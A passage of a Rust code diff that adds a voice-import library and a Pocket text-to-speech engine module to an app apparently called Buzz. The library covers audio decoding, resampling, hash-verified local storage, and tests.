not read imported voices: {error}"))?; + let registry: ImportedVoiceRegistry = serde_json::from_slice(&bytes) + .map_err(|error| format!("imported voice registry is invalid: {error}"))?; + if registry.version > REGISTRY_VERSION { + return Err(format!( + "imported voice registry version {} is newer than this Buzz build supports", + registry.version + )); + } + Ok(registry + .voices + .into_iter() + .filter(valid_identity) + .filter(|voice| self.resolve_file(voice).is_ok()) + .collect()) + } + + fn save(&self, voices: &[ImportedVoice]) -> Result<(), String> { + ensure_storage_dir(&self.root)?; + let payload = serde_json::to_vec_pretty(&ImportedVoiceRegistry { + version: REGISTRY_VERSION, + voices: voices.to_vec(), + }) + .map_err(|error| format!("could not encode imported voice registry: {error}"))?; + atomic_write_restricted(&self.registry_path(), &payload) + .map_err(|error| format!("could not save imported voice registry: {error}")) + } + + pub fn resolve_file(&self, voice: &ImportedVoice) -> Result { + if !valid_identity(voice) { + return Err("Imported voice registry contains an invalid file identity".to_string()); + } + let path = self.root.join(&voice.file_name); + if !is_regular_file_without_symlink(&path) { + return Err(format!("Imported voice {} is missing", voice.display_name)); + } + let bytes = + fs::read(&path).map_err(|error| format!("could not verify imported voice: {error}"))?; + if hex::encode(Sha256::digest(bytes)) != voice.content_hash { + return Err(format!( + "Imported voice {} does not match its content identity", + voice.display_name + )); + } + Ok(path) + } + + pub fn find(&self, key: &str) -> Result, String> { + Ok(self.load()?.into_iter().find(|voice| voice.key == key)) + } + + pub fn import_path(&self, source: &Path) -> Result { + let metadata = fs::metadata(source) + .map_err(|error| format!("could not inspect selected audio: {error}"))?; + if metadata.len() > MAX_SOURCE_BYTES { + return Err("Voice audio must be 25 MB or smaller".to_string()); + } + let extension = source + .extension() + .and_then(|extension| extension.to_str()) + .map(str::to_ascii_lowercase) + .ok_or_else(|| "Voice audio must have a supported file extension".to_string())?; + let samples = if extension == "wav" { + let source_bytes = fs::read(source) + .map_err(|error| format!("could not read selected audio: {error}"))?; + decode_wav(&source_bytes)? + } else { + decode_media(source, &extension)? + }; + let canonical_samples = resample_linear(&samples.samples, samples.sample_rate); + let canonical = encode_pcm16_wav(&canonical_samples, CANONICAL_SAMPLE_RATE); + let hash = hex::encode(Sha256::digest(&canonical)); + let key = format!("pocket:imported:{hash}"); + let file_name = format!("{hash}.wav"); + let display_name = source + .file_stem() + .and_then(|name| name.to_str()) + .map(str::trim) + .filter(|name| !name.is_empty()) + .unwrap_or("Imported voice") + .chars() + .take(80) + .collect::(); + + ensure_storage_dir(&self.root)?; + let file_path = self.root.join(&file_name); + let file_created = !file_path.exists(); + if file_created { + atomic_write_restricted(&file_path, &canonical) + .map_err(|error| format!("could not save imported voice audio: {error}"))?; + } else { + if !is_regular_file_without_symlink(&file_path) { + return Err("Imported voice storage contains an unsafe file entry".to_string()); + } + let existing = fs::read(&file_path) + .map_err(|error| format!("could not verify imported voice audio: {error}"))?; + if hex::encode(Sha256::digest(&existing)) != hash { + return Err("Imported voice storage contains mismatched audio data".to_string()); + } + } + + let mut imported = ImportedVoice { + key, + display_name, + content_hash: hash, + file_name, + }; + let mut voices = self.load()?; + if let Some(existing) = voices + .iter() + .find(|voice| voice.content_hash == imported.content_hash) + { + imported = existing.clone(); + } else { + voices.push(imported.clone()); + } + if let Err(error) = self.save(&voices) { + if file_created { + let _ = fs::remove_file(&file_path); + } + return Err(error); + } + Ok(imported) + } + + pub fn delete(&self, key: &str) -> Result<(), String> { + let mut voices = self.load()?; + let index = voices + .iter() + .position(|voice| voice.key == key) + .ok_or_else(|| format!("Unknown imported voice: {key}"))?; + let previous_voices = voices.clone(); + let removed = voices.remove(index); + self.save(&voices)?; + let path = self.root.join(removed.file_name); + match fs::remove_file(path) { + Ok(()) => Ok(()), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(()), + Err(error) => { + self.save(&previous_voices).map_err(|rollback_error| { + format!( + "Imported voice audio could not be deleted ({error}), and its registry \ + entry could not be restored ({rollback_error})" + ) + })?; + Err(format!( + "Imported voice audio could not be deleted: {error}" + )) + } + } + } +} + +#[derive(Clone, Copy, Debug, PartialEq)] +pub struct PcmStats { + pub sample_count: usize, + pub sample_rate: u32, + pub duration_seconds: f64, + pub peak: f32, + pub rms: f32, + pub non_silent_samples: usize, +} + +impl PcmStats { + pub fn analyze(samples: &[f32], sample_rate: u32) -> Self { + let peak = samples + .iter() + .filter(|sample| sample.is_finite()) + .fold(0.0_f32, |peak, sample| peak.max(sample.abs())); + let square_sum = samples + .iter() + .filter(|sample| sample.is_finite()) + .map(|sample| sample * sample) + .sum::(); + let rms = if samples.is_empty() { + 0.0 + } else { + (square_sum / samples.len() as f32).sqrt() + }; + Self { + sample_count: samples.len(), + sample_rate, + duration_seconds: if sample_rate == 0 { + 0.0 + } else { + samples.len() as f64 / f64::from(sample_rate) + }, + peak, + rms, + non_silent_samples: samples + .iter() + .filter(|sample| sample.is_finite() && sample.abs() >= 0.001) + .count(), + } + } + + pub fn is_non_silent(self) -> bool { + self.peak >= 0.001 && self.rms >= 0.0001 && self.non_silent_samples > 0 + } +} + +pub fn write_pcm16_wav(path: &Path, samples: &[f32], sample_rate: u32) -> Result<(), String> { + let bytes = encode_pcm16_wav(samples, sample_rate); + fs::write(path, bytes).map_err(|error| format!("could not write PCM evidence: {error}")) +} + +fn ensure_storage_dir(path: &Path) -> Result<(), String> { + fs::create_dir_all(path) + .map_err(|error| format!("could not create local voice storage: {error}"))?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + fs::set_permissions(path, fs::Permissions::from_mode(0o700)) + .map_err(|error| format!("could not restrict local voice storage: {error}"))?; + } + Ok(()) +} + +fn atomic_write_restricted(path: &Path, payload: &[u8]) -> Result<(), String> { + let resolved = fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()); + let mut file = AtomicWriteFile::open(&resolved) + .map_err(|error| format!("open {} for atomic write: {error}", resolved.display()))?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + file.set_permissions(fs::Permissions::from_mode(0o600)) + .map_err(|error| format!("set {} permissions: {error}", resolved.display()))?; + } + file.write_all(payload) + .map_err(|error| format!("write {}: {error}", resolved.display()))?; + file.commit() + .map_err(|error| format!("commit {}: {error}", resolved.display())) +} + +fn valid_hash(hash: &str) -> bool { + hash.len() == 64 && hash.bytes().all(|byte| byte.is_ascii_hexdigit()) +} + +fn valid_identity(voice: &ImportedVoice) -> bool { + valid_hash(&voice.content_hash) + && voice.key == format!("pocket:imported:{}", voice.content_hash) + && voice.file_name == format!("{}.wav", voice.content_hash) +} + +fn is_regular_file_without_symlink(path: &Path) -> bool { + fs::symlink_metadata(path) + .is_ok_and(|metadata| metadata.file_type().is_file() && !metadata.file_type().is_symlink()) +} + +#[derive(Debug)] +struct DecodedAudio { + sample_rate: u32, + samples: Vec, +} + +fn decode_wav(bytes: &[u8]) -> Result { + if bytes.len() < 12 || &bytes[..4] != b"RIFF" || &bytes[8..12] != b"WAVE" { + return Err("Selected file is not a valid RIFF/WAVE file".to_string()); + } + let mut offset = 12usize; + let mut format = None; + let mut data = None; + while offset.checked_add(8).is_some_and(|end| end <= bytes.len()) { + let id = &bytes[offset..offset + 4]; + let size = + u32::from_le_bytes(bytes[offset + 4..offset + 8].try_into().unwrap_or([0; 4])) as usize; + let start = offset + 8; + let end = start.checked_add(size).ok_or("WAV chunk size overflow")?; + if end > bytes.len() { + return Err("Selected WAV contains a truncated chunk".to_string()); + } + if id == b"fmt " { + format = Some(&bytes[start..end]); + } else if id == b"data" { + data = Some(&bytes[start..end]); + } + offset = end + (size & 1); + } + let format = format.ok_or("Selected WAV has no format chunk")?; + let data = data.ok_or("Selected WAV has no audio data")?; + if format.len() < 16 { + return Err("Selected WAV has an invalid format chunk".to_string()); + } + let encoding = u16::from_le_bytes(format[0..2].try_into().unwrap_or([0; 2])); + let encoding = if encoding == 0xfffe && format.len() >= 40 { + u16::from_le_bytes(format[24..26].try_into().unwrap_or([0; 2])) + } else { + encoding + }; + let channels = u16::from_le_bytes(format[2..4].try_into().unwrap_or([0; 2])); + let sample_rate = u32::from_le_bytes(format[4..8].try_into().unwrap_or([0; 4])); + let block_align = u16::from_le_bytes(format[12..14].try_into().unwrap_or([0; 2])) as usize; + let bits = u16::from_le_bytes(format[14..16].try_into().unwrap_or([0; 2])); + if channels == 0 || channels > 8 { + return Err("Voice WAV must contain between 1 and 8 channels".to_string()); + } + if !(MIN_SAMPLE_RATE..=MAX_SAMPLE_RATE).contains(&sample_rate) { + return Err("Voice WAV sample rate must be between 8 and 96 kHz".to_string()); + } + let bytes_per_sample = usize::from(bits.div_ceil(8)); + if block_align != bytes_per_sample * usize::from(channels) + || block_align == 0 + || data.len() % block_align != 0 + { + return Err("Voice WAV has invalid sample alignment".to_string()); + } + if !matches!((encoding, bits), (1, 8 | 16 | 24 | 32) | (3, 32)) { + return Err("Voice WAV must contain PCM or 32-bit float audio".to_string()); + } + let frames = data.len() / block_align; + let duration = frames as f64 / f64::from(sample_rate); + if !(MIN_DURATION_SECONDS..=MAX_DURATION_SECONDS).contains(&duration) { + return Err("Voice WAV must be between 2 and 30 seconds long".to_string()); + } + + let mut samples = Vec::with_capacity(frames); + for frame in data.chunks_exact(block_align) { + let mut mono = 0.0_f32; + for chunk in frame.chunks_exact(bytes_per_sample) { + let sample = match (encoding, bits) { + (1, 8) => (f32::from(chunk[0]) - 128.0) / 128.0, + (1, 16) => f32::from(i16::from_le_bytes([chunk[0], chunk[1]])) / 32768.0, + (1, 24) => { + let raw = i32::from_le_bytes([ + chunk[0], + chunk[1], + chunk[2], + if chunk[2] & 0x80 == 0 { 0 } else { 0xff }, + ]); + raw as f32 / 8_388_608.0 + } + (1, 32) => { + i32::from_le_bytes(chunk.try_into().map_err(|_| "invalid PCM sample")?) as f32 + / 2_147_483_648.0 + } + (3, 32) => f32::from_le_bytes( + chunk + .try_into() + .map_err(|_| "invalid floating-point sample")?, + ), + _ => unreachable!(), + }; + if !sample.is_finite() { + return Err("Voice WAV contains non-finite samples".to_string()); + } + mono += sample; + } + samples.push((mono / f32::from(channels)).clamp(-1.0, 1.0)); + } + let stats = PcmStats::analyze(&samples, sample_rate); + if !stats.is_non_silent() { + return Err("Voice WAV is silent or too quiet to clone".to_string()); + } + Ok(DecodedAudio { + sample_rate, + samples, + }) +} + +fn decode_media(source: &Path, extension: &str) -> Result { + let supported = ["m4a", "mp3", "flac", "ogg", "oga", "aif", "aiff"]; + if !supported.contains(&extension) { + return Err(format!( + "Unsupported voice audio format .{extension}. Choose WAV, M4A, MP3, FLAC, OGG, or AIFF" + )); + } + + let file = fs::File::open(source) + .map_err(|error| format!("could not read selected audio: {error}"))?; + let media = MediaSourceStream::new(Box::new(file), Default::default()); + let mut hint = Hint::new(); + hint.with_extension(extension); + let probed = symphonia::default::get_probe() + .format( + &hint, + media, + &FormatOptions::default(), + &MetadataOptions::default(), + ) + .map_err(|error| format!("could not recognize selected audio: {error}"))?; + let mut format = probed.format; + let track = format + .default_track() + .ok_or_else(|| "Selected audio has no decodable track".to_string())?; + let track_id = track.id; + let mut decoder = symphonia::default::get_codecs() + .make(&track.codec_params, &DecoderOptions::default()) + .map_err(|error| format!("could not initialize audio decoder: {error}"))?; + let mut sample_rate = None; + let mut samples = Vec::new(); + + loop { + let packet = match format.next_packet() { + Ok(packet) => packet, + Err(SymphoniaError::ResetRequired) => { + return Err("Selected audio changes format mid-stream".to_string()); + } + Err(SymphoniaError::IoError(error)) + if error.kind() == std::io::ErrorKind::UnexpectedEof => + { + break; + } + Err(error) => return Err(format!("could not read selected audio: {error}")), + }; + if packet.track_id() != track_id { + continue; + } + let decoded = match decoder.decode(&packet) { + Ok(decoded) => decoded, + Err(SymphoniaError::DecodeError(_)) => continue, + Err(error) => return Err(format!("could not decode selected audio: {error}")), + }; + let spec = *decoded.spec(); + if !(MIN_SAMPLE_RATE..=MAX_SAMPLE_RATE).contains(&spec.rate) { + return Err("Voice audio sample rate must be between 8 and 96 kHz".to_string()); + } + if sample_rate.is_some_and(|rate| rate != spec.rate) { + return Err("Selected audio changes sample rate mid-stream".to_string()); + } + sample_rate = Some(spec.rate); + let channels = spec.channels.count(); + if channels == 0 || channels > 8 { + return Err("Voice audio must contain between 1 and 8 channels".to_string()); + } + let mut buffer = SampleBuffer::::new(decoded.capacity() as u64, spec); + buffer.copy_interleaved_ref(decoded); + for frame in buffer.samples().chunks_exact(channels) { + let mono = frame.iter().copied().sum::() / channels as f32; + if !mono.is_finite() { + return Err("Voice audio contains non-finite samples".to_string()); + } + samples.push(mono.clamp(-1.0, 1.0)); + } + if samples.len() as f64 > MAX_DURATION_SECONDS * f64::from(spec.rate) { + return Err("Voice audio must be between 2 and 30 seconds long".to_string()); + } + } + + let sample_rate = + sample_rate.ok_or_else(|| "Selected audio contains no samples".to_string())?; + validate_decoded_audio(&samples, sample_rate)?; + Ok(DecodedAudio { + sample_rate, + samples, + }) +} + +fn validate_decoded_audio(samples: &[f32], sample_rate: u32) -> Result<(), String> { + let stats = PcmStats::analyze(samples, sample_rate); + if !(MIN_DURATION_SECONDS..=MAX_DURATION_SECONDS).contains(&stats.duration_seconds) { + return Err("Voice audio must be between 2 and 30 seconds long".to_string()); + } + if !stats.is_non_silent() { + return Err("Voice audio is silent or too quiet to clone".to_string()); + } + Ok(()) +} + +fn resample_linear(samples: &[f32], source_rate: u32) -> Vec { + if source_rate == CANONICAL_SAMPLE_RATE { + return samples.to_vec(); + } + let output_len = ((samples.len() as u64 * u64::from(CANONICAL_SAMPLE_RATE) + + u64::from(source_rate) / 2) + / u64::from(source_rate)) as usize; + (0..output_len) + .map(|index| { + let source = index as f64 * f64::from(source_rate) / f64::from(CANONICAL_SAMPLE_RATE); + let left = source.floor() as usize; + let fraction = (source - left as f64) as f32; + let a = samples[left.min(samples.len() - 1)]; + let b = samples[(left + 1).min(samples.len() - 1)]; + a + (b - a) * fraction + }) + .collect() +} + +fn encode_pcm16_wav(samples: &[f32], sample_rate: u32) -> Vec { + let data_len = (samples.len() * 2) as u32; + let mut bytes = Vec::with_capacity(44 + data_len as usize); + bytes.extend_from_slice(b"RIFF"); + bytes.extend_from_slice(&(36 + data_len).to_le_bytes()); + bytes.extend_from_slice(b"WAVEfmt "); + bytes.extend_from_slice(&16_u32.to_le_bytes()); + bytes.extend_from_slice(&1_u16.to_le_bytes()); + bytes.extend_from_slice(&1_u16.to_le_bytes()); + bytes.extend_from_slice(&sample_rate.to_le_bytes()); + bytes.extend_from_slice(&(sample_rate * 2).to_le_bytes()); + bytes.extend_from_slice(&2_u16.to_le_bytes()); + bytes.extend_from_slice(&16_u16.to_le_bytes()); + bytes.extend_from_slice(b"data"); + bytes.extend_from_slice(&data_len.to_le_bytes()); + for sample in samples { + let value = (sample.clamp(-1.0, 1.0) * f32::from(i16::MAX)).round() as i16; + bytes.extend_from_slice(&value.to_le_bytes()); + } + bytes +} + +#[cfg(test)] +mod tests { + use super::*; + + fn fixture(sample_rate: u32, seconds: usize, amplitude: f32) -> Vec { + let samples = (0..sample_rate as usize * seconds) + .map(|index| { + amplitude + * (std::f32::consts::TAU * 220.0 * index as f32 / sample_rate as f32).sin() + }) + .collect::>(); + encode_pcm16_wav(&samples, sample_rate) + } + + fn stereo_fixture(sample_rate: u32, seconds: usize, amplitude: f32) -> Vec { + let mono = fixture(sample_rate, seconds, amplitude); + let mono_data = &mono[44..]; + let mut stereo_data = Vec::with_capacity(mono_data.len() * 2); + for sample in mono_data.chunks_exact(2) { + stereo_data.extend_from_slice(sample); + stereo_data.extend_from_slice(sample); + } + let mut stereo = mono[..44].to_vec(); + stereo[4..8].copy_from_slice(&(36 + stereo_data.len() as u32).to_le_bytes()); + stereo[22..24].copy_from_slice(&2_u16.to_le_bytes()); + stereo[28..32].copy_from_slice(&(sample_rate * 4).to_le_bytes()); + stereo[32..34].copy_from_slice(&4_u16.to_le_bytes()); + stereo[40..44].copy_from_slice(&(stereo_data.len() as u32).to_le_bytes()); + stereo.extend_from_slice(&stereo_data); + stereo + } + + #[test] + fn imports_persists_reloads_and_deletes_canonical_voice() { + let temp = tempfile::tempdir().expect("temp voice workspace"); + let source = temp.path().join("My voice.wav"); + fs::write(&source, fixture(44_100, 2, 0.5)).expect("write source"); + let library = PocketVoiceLibrary::new(temp.path().join("library")); + + let imported = library.import_path(&source).expect("import voice"); + assert!(imported.key.starts_with("pocket:imported:")); + assert_eq!(imported.display_name, "My voice"); + + let relaunched = PocketVoiceLibrary::new(library.root()); + assert_eq!( + relaunched.load().expect("reload registry"), + vec![imported.clone()] + ); + let stored = relaunched + .resolve_file(&imported) + .expect("resolve stored voice"); + let decoded = decode_wav(&fs::read(&stored).expect("read stored voice")) + .expect("decode canonical voice"); + assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE); + assert_eq!(decoded.samples.len(), CANONICAL_SAMPLE_RATE as usize * 2); + + assert_eq!( + relaunched.import_path(&source).expect("idempotent import"), + imported + ); + assert_eq!(relaunched.load().expect("deduplicated registry").len(), 1); + + relaunched.delete(&imported.key).expect("delete voice"); + assert!(relaunched.load().expect("empty registry").is_empty()); + assert!(!stored.exists()); + } + + #[test] + fn common_stereo_audio_is_downmixed_to_canonical_mono() { + let temp = tempfile::tempdir().expect("temp voice workspace"); + let source = temp.path().join("stereo.wav"); + fs::write(&source, stereo_fixture(44_100, 2, 0.5)).expect("write stereo"); + let library = PocketVoiceLibrary::new(temp.path().join("library")); + + let imported = library.import_path(&source).expect("import stereo"); + let stored = library + .resolve_file(&imported) + .expect("resolve stored voice"); + let decoded = decode_wav(&fs::read(stored).expect("read stored voice")) + .expect("decode canonical voice"); + assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE); + assert_eq!(decoded.samples.len(), CANONICAL_SAMPLE_RATE as usize * 2); + } + + #[test] + #[ignore = "requires BUZZ_VOICE_IMPORT_TEST_DIR with common-format fixtures"] + fn imports_common_audio_format_fixtures() { + let fixtures = + PathBuf::from(std::env::var("BUZZ_VOICE_IMPORT_TEST_DIR").expect("fixture directory")); + let temp = tempfile::tempdir().expect("temp voice workspace"); + let library = PocketVoiceLibrary::new(temp.path().join("library")); + + for file_name in [ + "voice.wav", + "voice.m4a", + "voice.mp3", + "voice.flac", + "voice.ogg", + "voice.aiff", + ] { + let imported = library + .import_path(&fixtures.join(file_name)) + .unwrap_or_else(|error| panic!("import {file_name}: {error}")); + let stored = library + .resolve_file(&imported) + .unwrap_or_else(|error| panic!("resolve {file_name}: {error}")); + let decoded = decode_wav(&fs::read(stored).expect("read canonical voice")) + .expect("decode canonical voice"); + assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE); + assert!(decoded.samples.len() >= CANONICAL_SAMPLE_RATE as usize * 2); + } + } + + #[test] + fn invalid_unsupported_and_silent_files_do_not_mutate_registry() { + let temp = tempfile::tempdir().expect("temp voice workspace"); + let library = PocketVoiceLibrary::new(temp.path().join("library")); + + let garbage = temp.path().join("garbage.wav"); + fs::write(&garbage, b"not a wave").expect("write garbage"); + assert!(library + .import_path(&garbage) + .expect_err("garbage rejected") + .contains("RIFF/WAVE")); + + let silent = temp.path().join("silent.wav"); + fs::write(&silent, fixture(32_000, 2, 0.0)).expect("write silence"); + assert!(library + .import_path(&silent) + .expect_err("silence rejected") + .contains("silent")); + + let unsupported_container = temp.path().join("voice.txt"); + fs::write(&unsupported_container, b"not audio").expect("write unsupported container"); + assert!(library + .import_path(&unsupported_container) + .expect_err("container rejected") + .contains("Unsupported voice audio format")); + + let mut unsupported = fixture(32_000, 2, 0.5); + unsupported[20..22].copy_from_slice(&6_u16.to_le_bytes()); + let unsupported_path = temp.path().join("unsupported.wav"); + fs::write(&unsupported_path, unsupported).expect("write unsupported"); + assert!(library + .import_path(&unsupported_path) + .expect_err("unsupported rejected") + .contains("PCM or 32-bit float")); + + assert!(library.load().expect("unchanged registry").is_empty()); + } + + #[test] + fn pcm_analysis_distinguishes_signal_from_silence() { + let signal = (0..24_000) + .map(|index| (std::f32::consts::TAU * 440.0 * index as f32 / 24_000.0).sin() * 0.5) + .collect::>(); + let signal_stats = PcmStats::analyze(&signal, 24_000); + assert!(signal_stats.is_non_silent()); + assert_eq!(signal_stats.duration_seconds, 1.0); + assert!(signal_stats.peak > 0.49); + assert!(signal_stats.rms > 0.3); + + let silence = vec![0.0; 24_000]; + assert!(!PcmStats::analyze(&silence, 24_000).is_non_silent()); + } +} diff --git a/crates/buzz-voice/src/lib.rs b/crates/buzz-voice/src/lib.rs new file mode 100644 index 0000000000..e4b4ebfed3 --- /dev/null +++ b/crates/buzz-voice/src/lib.rs @@ -0,0 +1,23 @@ +//! Reusable local voice primitives for Buzz. + +pub mod imported; +pub mod pocket; + +pub use pocket::{ + april_model_info, load_text_to_speech, load_voice_style, PocketModelInfo, PocketTts, + VoiceStyle, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT, +}; + +/// One immutable artifact required by the April Pocket bundle. +/// +/// `filename` is the bundle-relative file name, `sha256` pins its contents, +/// `size_bytes` supports download progress and validation, and `quantized` +/// identifies the INT8 components. +pub type PocketModelArtifact = pocket::PocketModelArtifact; + +/// Language bundle selected from the pinned export. +pub const APRIL_BUNDLE_ID: &str = pocket::APRIL_BUNDLE_ID; +/// Pinned upstream export repository. +pub const APRIL_MODEL_ID: &str = pocket::APRIL_MODEL_ID; +/// Pinned revision containing the April bundle. +pub const APRIL_MODEL_REVISION: &str = pocket::APRIL_MODEL_REVISION; diff --git a/crates/buzz-voice/src/pocket.rs b/crates/buzz-voice/src/pocket.rs new file mode 100644 index 0000000000..0c6174a8dc --- /dev/null +++ b/crates/buzz-voice/src/pocket.rs @@ -0,0 +1,167 @@ +//! April 2026 Pocket TTS engine for Buzz Desktop. +//! +//! The `english_2026-04` bundle uses SentencePiece tokenization, a learned +//! voice BOS embedding, recurrent FlowLM state, and stateful Mimi decoding. +//! Buzz selects the upstream three-graph INT8 variant while retaining the +//! full-precision Mimi encoder and text conditioner specified by that variant. +//! +//! ## Attribution +//! +//! - Pocket TTS and Mimi: Kyutai, CC-BY-4.0. +//! - ONNX export: KevinAHM/pocket-tts-onnx, CC-BY-4.0. +//! - Reference voice: Kyutai's Mary preset (VCTK p333), CC-BY-4.0. +//! +//! `huddle::models` writes the complete attribution beside the cached bytes. + +use std::path::{Path, PathBuf}; +use std::sync::Mutex; + +use sherpa_onnx::Wave; + +#[path = "pocket_april.rs"] +mod pocket_april; +#[path = "pocket_models.rs"] +mod pocket_models; + +use pocket_april::{prepare_april_prompt, AprilPocketTts}; +pub use pocket_models::{ + april_model_info, PocketModelArtifact, PocketModelInfo, APRIL_BUNDLE_ID, APRIL_MODEL_ID, + APRIL_MODEL_REVISION, +}; + +/// Pocket TTS emits 24 kHz mono PCM. +pub const SAMPLE_RATE: u32 = 24_000; + +/// Bundled reference voice name without its extension. +pub const DEFAULT_VOICE: &str = "reference_sample"; + +/// Pocket voice files are reference WAVs. +pub const VOICE_FILE_EXT: &str = "wav"; + +const TTS_NUM_THREADS: usize = 1; + +/// Loaded reference voice samples and their original sample rate. +#[derive(Debug, Clone)] +pub struct VoiceStyle { + samples: Vec, + sample_rate: i32, +} + +/// Load a Pocket reference voice WAV from disk. +pub fn load_voice_style(path: &Path) -> Result { + let path_str = path + .to_str() + .ok_or_else(|| format!("voice path is not valid UTF-8: {}", path.display()))?; + let wave = Wave::read(path_str) + .ok_or_else(|| format!("could not read voice WAV at {}", path.display()))?; + let samples = wave.samples().to_vec(); + if samples.is_empty() { + return Err(format!("voice WAV is empty: {}", path.display())); + } + Ok(VoiceStyle { + samples, + sample_rate: wave.sample_rate(), + }) +} + +/// Resident April INT8 Pocket TTS engine. +pub struct PocketTts { + inner: Mutex, +} + +/// Load Buzz Desktop's pinned April INT8 model. +pub fn load_text_to_speech(model_dir: &str) -> Result { + let dir = PathBuf::from(model_dir); + for artifact in april_model_info().artifacts { + let path = dir.join(artifact.filename); + if !path.is_file() { + return Err(format!( + "incomplete Pocket TTS {} INT8 bundle: missing {}", + APRIL_BUNDLE_ID, + path.display() + )); + } + } + Ok(PocketTts { + inner: Mutex::new(AprilPocketTts::load(&dir, TTS_NUM_THREADS)?), + }) +} + +impl PocketTts { + /// Split text into synthesis units that satisfy the bundle's exact + /// 50-token input limit. + pub fn split_text_into_chunks(&self, text: &str) -> Result, String> { + let Some(prepared) = prepare_april_prompt(text) else { + return Ok(Vec::new()); + }; + self.inner + .lock() + .map_err(|_| "Pocket TTS engine lock poisoned".to_string())? + .split_prompt(&prepared) + } + + /// Synthesize text with the supplied reference voice. + /// + /// Pocket detects language from text and this model uses one synthesis + /// step, so `_lang` and `_steps` intentionally do not affect output. + pub fn synth_chunk( + &self, + text: &str, + _lang: &str, + style: &VoiceStyle, + _steps: usize, + ) -> Result, String> { + let Some(prepared) = prepare_april_prompt(text) else { + return Ok(Vec::new()); + }; + let mut engine = self + .inner + .lock() + .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?; + let chunks = engine.split_prompt(&prepared)?; + let mut samples = Vec::new(); + for chunk in chunks { + let prepared = prepare_april_prompt(&chunk) + .ok_or_else(|| "Pocket TTS prompt chunk became empty".to_string())?; + samples.extend(engine.synth_chunk(&prepared, style)?); + } + Ok(samples) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn desktop_model_is_april_int8_only() { + let info = april_model_info(); + assert_eq!(info.max_token_per_chunk, 50); + assert_eq!(info.sample_rate, SAMPLE_RATE); + assert!(info + .artifacts + .iter() + .any(|artifact| artifact.filename == "flow_lm_main_int8.onnx")); + assert!(!info + .artifacts + .iter() + .any(|artifact| artifact.filename == "flow_lm_main.onnx")); + } + + #[test] + #[ignore = "requires BUZZ_POCKET_TEST_MODEL_DIR"] + fn production_api_emits_non_silent_april_int8_pcm() { + let dir = std::env::var("BUZZ_POCKET_TEST_MODEL_DIR") + .expect("set BUZZ_POCKET_TEST_MODEL_DIR to an April INT8 model directory"); + let engine = load_text_to_speech(&dir).expect("load April INT8 engine"); + let style = load_voice_style(&Path::new(&dir).join("reference_sample.wav")) + .expect("load reference voice"); + let samples = engine + .synth_chunk("Bright birds begin beside the bay.", "en", &style, 1) + .expect("synthesize through the production API"); + + assert!(!samples.is_empty()); + assert!(samples.iter().all(|sample| sample.is_finite())); + assert!(samples.iter().any(|sample| sample.abs() > 1.0e-6)); + } +} diff --git a/desktop/src-tauri/src/huddle/pocket_april.rs b/crates/buzz-voice/src/pocket_april.rs similarity index 100% rename from desktop/src-tauri/src/huddle/pocket_april.rs rename to crates/buzz-voice/src/pocket_april.rs diff --git a/desktop/src-tauri/src/huddle/pocket_models.rs b/crates/buzz-voice/src/pocket_models.rs similarity index 93% rename from desktop/src-tauri/src/huddle/pocket_models.rs rename to crates/buzz-voice/src/pocket_models.rs index de34c77a70..ba3f92849c 100644 --- a/desktop/src-tauri/src/huddle/pocket_models.rs +++ b/crates/buzz-voice/src/pocket_models.rs @@ -24,12 +24,19 @@ pub struct PocketModelArtifact { /// Capabilities of Buzz Desktop's sole Pocket model. #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub struct PocketModelInfo { + /// Language bundle selected from the pinned export. pub bundle_id: &'static str, + /// Upstream model repository. pub source_model_id: &'static str, + /// Pinned upstream model revision. pub revision: &'static str, + /// PCM output sample rate. pub sample_rate: u32, + /// Maximum input size declared by the bundle. pub max_token_per_chunk: usize, + /// Immutable files required by the runtime. pub artifacts: &'static [PocketModelArtifact], + /// Components quantized in the selected bundle. pub quantized_components: &'static [&'static str], } diff --git a/crates/buzz-voice/tests/pocket_import_audio.rs b/crates/buzz-voice/tests/pocket_import_audio.rs new file mode 100644 index 0000000000..8578c368d4 --- /dev/null +++ b/crates/buzz-voice/tests/pocket_import_audio.rs @@ -0,0 +1,133 @@ +use std::{ + fs, + path::{Path, PathBuf}, +}; + +use buzz_voice::{ + imported::{write_pcm16_wav, PcmStats, PocketVoiceLibrary}, + pocket::{load_text_to_speech, load_voice_style, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT}, +}; + +const PREVIEW_TEXT: &str = "This is an objective Pocket voice preview."; + +fn required_path(name: &str) -> PathBuf { + std::env::var_os(name) + .map(PathBuf::from) + .unwrap_or_else(|| panic!("{name} must point to the required local test path")) +} + +fn checked_in_voice() -> PathBuf { + Path::new(env!("CARGO_MANIFEST_DIR")) + .join("../../desktop/src-tauri/resources/pocket-voices/eve.wav") +} + +fn evidence_dir() -> PathBuf { + std::env::var_os("BUZZ_VOICE_EVIDENCE_DIR") + .map(PathBuf::from) + .unwrap_or_else(|| { + Path::new(env!("CARGO_MANIFEST_DIR")).join("../../target/buzz-voice-evidence") + }) +} + +fn synthesize(model_dir: &Path, voice_path: &Path, text: &str) -> (Vec, PcmStats) { + let engine = load_text_to_speech( + model_dir + .to_str() + .expect("Pocket model path must be valid UTF-8"), + ) + .expect("load Pocket model"); + let style = load_voice_style(voice_path).expect("load selected voice"); + let samples = engine + .synth_chunk(text, "en", &style, 1) + .expect("synthesize preview"); + let stats = PcmStats::analyze(&samples, SAMPLE_RATE); + assert!( + stats.is_non_silent(), + "generated PCM must be non-silent: {stats:?}" + ); + assert!( + stats.duration_seconds > 0.2, + "generated PCM is unexpectedly short: {stats:?}" + ); + (samples, stats) +} + +#[test] +#[ignore = "requires BUZZ_POCKET_MODEL_DIR and runs the installed Pocket ONNX model"] +fn objective_import_synthesis_delete_and_mary_fallback() { + let model_dir = required_path("BUZZ_POCKET_MODEL_DIR"); + let temp = tempfile::tempdir().expect("temporary voice workspace"); + let source = temp.path().join("Imported Eve.wav"); + fs::copy(checked_in_voice(), &source).expect("copy checked-in voice fixture"); + + let library_root = temp.path().join("library"); + let library = 